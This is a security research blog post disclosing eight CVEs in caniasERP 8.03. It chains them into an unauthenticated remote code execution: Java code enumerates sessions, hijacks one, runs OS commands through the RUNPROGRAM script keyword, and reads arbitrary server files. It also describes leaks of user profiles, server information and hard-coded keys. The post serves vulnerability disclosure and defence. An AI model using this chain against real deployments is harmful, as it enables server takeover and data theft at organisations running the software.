HawkTrace Logo
Research
May 9, 2026

Compromising caniasERP 8.03: Eight CVEs, One Unauthenticated RCE Chain

Eight zero-interaction vulnerabilities in Industrial Application Software caniasERP 8.03 — from unauthenticated session enumeration to full OS command execution via a Java RMI session hijack chain.

Bilal Gunes• Security Researcher
8 mins read

Compromising caniasERP 8.03: Eight CVEs, One Unauthenticated RCE Chain

caniasERP is an Enterprise Resource Planning platform developed by Industrial Application Software GmbH (IAS), deployed across manufacturing and industrial environments worldwide. In April 2025 we started pulling at a thread in the JNLP deployment endpoint — and what unraveled was a chain of eight individually reported vulnerabilities that together allow a completely unauthenticated remote attacker to achieve OS command execution with service-account privileges.

No credentials. No prior knowledge. One open port.


Attack Surface: Java RMI Over Plain HTTP

caniasERP delivers its client application via a JNLP (Java Web Start) file served over plain HTTP. The JNLP file references client JAR files — canias*.jar — which are freely downloadable without any authentication. The JARs expose a Java RMI interface (iasServerRemoteInterface) bound to a configurable TCP port. Every operation the legitimate client performs — login, file transfer, session management, code execution — goes through a single method:

Object doAction(byte[] request)

The binding name follows the pattern XXXXXXXXS2OUT and is embedded in the JNLP file or enumerable via registry.list(). Since the JARs are public and decompile cleanly with JADX, the full RMI protocol — every request/response class, every field name — is recoverable without any server access. This is the foundation that makes the entire chain possible.


CVE Overview

CVEComponentClassCWECVSS
CVE-2026-8214RMI Interface — doAction (sessionId)Improper AuthenticationCWE-2875.3
CVE-2026-8215RMI Interface — iasRequestFileEventPath TraversalCWE-225.3
CVE-2026-8216Java RMI Session Management — doActionImproper AuthenticationCWE-2877.3
CVE-2026-8217RMI Interface — Runtime.getRuntime().execOS Command InjectionCWE-786.3
CVE-2026-8241RMI Interface — iasGetServerInfoEventImproper AuthorizationCWE-2855.3
CVE-2026-8242Login RMI Interface — doActionResponse DiscrepancyCWE-2043.7
CVE-2026-8243JNLP Deployment EndpointHard-coded KeyCWE-3215.3
CVE-2026-8244Login RMI Interface — clientVersionImproper AuthenticationCWE-2875.3

Vendor was contacted before publication and did not respond in any way.


The RCE Chain

The four-step chain uses CVE-2026-8214, CVE-2026-8216, CVE-2026-8217, and CVE-2026-8215 in sequence. The remaining four are either enablers or independent impact paths.

[Attacker — zero credentials]
	Accesses
		GET /canias.jnlp (no auth)
			Triggers
				CVE-2026-8214 · iasGetUserListEvent 
					Uses  (or: CVE-2026-8244 → session ID)
						CVE-2026-8216 · iasClientRequest(sessionId, ...) 
							Executes
								CVE-2026-8217 · iasCtiRunCodeEvent("RUNPROGRAM ...") 
									Reads
										CVE-2026-8215 · iasRequestFileEvent(direction=0)
											Result
												[Shell on server — service account privileges]

Step 1 — Unauthenticated Session Enumeration (CVE-2026-8214)

iasGetUserListEvent returns a list of all currently active sessions on the server with no authentication check. The call requires no session ID and no credentials:

iasGetUserListEvent event = new iasGetUserListEvent();
iasClientRequest req = new iasClientRequest(event);

byte[] data = req.generateBytes();
if (compress) data = iasCommunicationCompressor.compressData(data);

byte[] resp = server.doAction(data);
if (compress) resp = iasCommunicationCompressor.deCompressData(resp);

iasGetUserListResponse ulr = (iasGetUserListResponse)
    iasServerResponseContainer.generateFromBytes(resp).getResponse();

Vector<iasSessionInfo> users = ulr.getUserList();
// → each entry: sessionId, userName, clientType (JAVA/WEB/CRONJOB), loginTimestamp, clientIP

The response yields every active session's ID, username, client type (JAVA, WEB, CRONJOB), login timestamp, and client IP address. These session IDs are the direct input to Step 2.

Step 2 — Session Hijack (CVE-2026-8216)

iasClientRequest accepts a session ID as its first constructor argument. The server performs no validation that the caller owns or previously established the session — the ID is both identifier and authenticator. Supplying any live session ID from Step 1 is sufficient:

// sessionId sourced from CVE-2026-8214
iasClientRequest req = new iasClientRequest(sessionId, event);

The server does not bind sessions to the originating IP, a secondary token, or any out-of-band credential.

A compounding weakness makes CVE-2026-8216 independently exploitable even without CVE-2026-8214: session identifiers follow a predictable format — {USERNAME}_{HEX_COUNTER} — where the hexadecimal counter is a globally incrementing value shared across all sessions. An attacker who knows a valid username (obtainable via CVE-2026-8242) can brute-force the counter space directly. In practice this constraint rarely applies, since background scheduled jobs (e.g. CRONJOB_76C9505833) maintain a continuous stream of active sessions that CVE-2026-8214 exposes without any guesswork.

Step 3 — OS Command Injection (CVE-2026-8217)

With a hijacked session, iasCtiRunCodeEvent passes a Troia script string to Runtime.getRuntime().exec() on the server. Troia is caniasERP's built-in scripting language; its RUNPROGRAM keyword is a thin wrapper over native OS execution:

String troiaCode =
    "RUNPROGRAM 'cmd.exe /c whoami > C:\\Windows\\Temp\\poc_out.txt 2>&1' WITH WAIT;";
iasCtiRunCodeEvent event = new iasCtiRunCodeEvent(troiaCode);
iasClientRequest req = new iasClientRequest(sessionId, event);

byte[] data = req.generateBytes();
if (compress) data = iasCommunicationCompressor.compressData(data);
server.doAction(data);

The command runs as the caniasERP Windows service account. No role-based access control is enforced — CRONJOB sessions and regular user sessions alike can trigger unrestricted command execution. VulDB maps this to CWE-78 and ATT&CK T1202. Note that PR:L in the CVSS vector refers to the hijacked session — which is itself obtained without credentials via Steps 1 and 2.

Step 4 — Output Exfiltration via Arbitrary File Read (CVE-2026-8215)

iasRequestFileEvent with direction=0 (SERVER_TO_CLIENT) reads any file from the server filesystem and returns its raw bytes. No session ID, authentication check, authorization control, path canonicalization, or allowed-directory whitelist is enforced — the iasClientRequest is constructed without a session argument, making this primitive independently unauthenticated. The m_strSourceFileName argument is a private field set via reflection, accepting any absolute path:

iasRequestFileEvent ftEvent = new iasRequestFileEvent();
ftEvent.setDirection(0); // 0 = SERVER_TO_CLIENT

Field srcField = ftEvent.getClass().getDeclaredField("m_strSourceFileName");
srcField.setAccessible(true);
srcField.set(ftEvent, "C:\\Windows\\Temp\\poc_out.txt");

iasClientRequest req = new iasClientRequest(ftEvent);
byte[] data = req.generateBytes();
if (compress) data = iasCommunicationCompressor.compressData(data);

byte[] resp = server.doAction(data);
if (compress) resp = iasCommunicationCompressor.deCompressData(resp);

iasRequestFileEvent rfe = (iasRequestFileEvent)
    iasServerResponseContainer.generateFromBytes(resp).getResponse();

byte[] content = rfe.getFilePart().getData();

This closes the loop: Step 3 writes command output to a known temp path; Step 4 reads it back. The same primitive independently allows reading any sensitive file on the server — configuration files, credentials, logs — without any authentication.


Supporting Vulnerabilities

CVE-2026-8241 — Pre-Authentication Server Info Disclosure

iasGetServerInfoEvent returns the server's application version and build number, operating system name and architecture, Java Runtime version, database type and name, database server address, maximum connection capacity, server locale, encoding, and timezone — all without authentication.

This is the mandatory prerequisite for CVE-2026-8244: the login interface requires the clientVersion field in the request to exactly match the server's version string (e.g. 8.03 22.09.29-02). An incorrect string returns VERSION_INCONSISTENCY with no data leakage. CVE-2026-8241 makes the exact string trivially obtainable in a single call before attempting CVE-2026-8244.

CVE-2026-8244 — Pre-Authentication User Profile Leak

Sending a login request with an empty username and empty password returns USERWRONGPASSWORD — but also embeds the complete profile of an arbitrary user from the database in the response. The user selection is non-deterministic across requests, meaning repeated calls may disclose profiles of different accounts.

The leaked data includes: full name, surname, a freshly-assigned session ID per request, the caller's IP address as seen by the server, the complete menu and module permission tree, database name, database server address, server and client version strings, server timezone, server filesystem paths, and the SHA-256 hash of the submitted password reflected back in the response (empty string yields e3b0c44...).

CVE-2026-8242 — Username Enumeration via Response Discrepancy

The login interface returns different iasLoginResponseStatus codes depending on whether a username exists:

Response CodeMeaning
USERWRONGPASSWORDUsername exists — password incorrect
USERNOTFOUNDUsername does not exist
USERISLOCKEDUsername exists — account locked
PASSWORDEXPIREDUsername exists — password expired

This allows precise username enumeration against any deployment. The CVSS vector reflects AC:H, acknowledging the higher operational effort compared to the other vulnerabilities in the chain.

CVE-2026-8243 — Hardcoded Cryptographic Keys in Public JARs

The client JARs, downloadable without authentication via the JNLP endpoint, contain multiple compile-time constant cryptographic keys:

ClassAlgorithmField
iasCryptoAESImplAES-128KEY
iasCryptoAESCP256ImplAES-256KEY
iasCryptoTESImplTriple DESKEY
iasCryptoDESImplDES-56 (broken)KEY
iasCryptoBLFImplBlowfishKEY
iasCryptoCustomImplCustomINNER_PRIVATEKEY
iasSettingsFileReaderAES (file decryption)FileEKey, EPrefix
iasMobileToolkitUtilsAES (mobile client)KEY

The default prefix present in most key names strongly suggests these were development placeholders never replaced before shipping.


Disclosure Timeline

DateEvent
April 2025Vulnerabilities discovered via JNLP endpoint and JAR decompilation
April 20, 2026Vendor notified — no response received
May 9, 2026All eight CVEs published

Bilal Güneş (@b1lal) of HawkTrace.

Conclusion

This chain started with a publicly accessible JNLP endpoint and a javac invocation. Every step used classes and method signatures recovered by decompiling the client JARs the vendor distributes to anyone who visits the deployment URL. No fuzzing, no memory corruption, no server-side credentials — just a protocol designed for a trusted LAN, exposed to the internet with no authentication wrapper around it.

This is the kind of stuff we do at HawkTrace we dig into source code, trace the data flows manually, and find attack paths that scanners will never catch. If you're curious about what an actual attacker would find in your environment, hit us up.


Stay Protected

Security vulnerabilities are discovered constantly. HawkTrace helps organizations stay ahead of threats through comprehensive security assessments, APT simulations, and continuous threat hunting.

Need expert security consultation? Contact us or explore more research.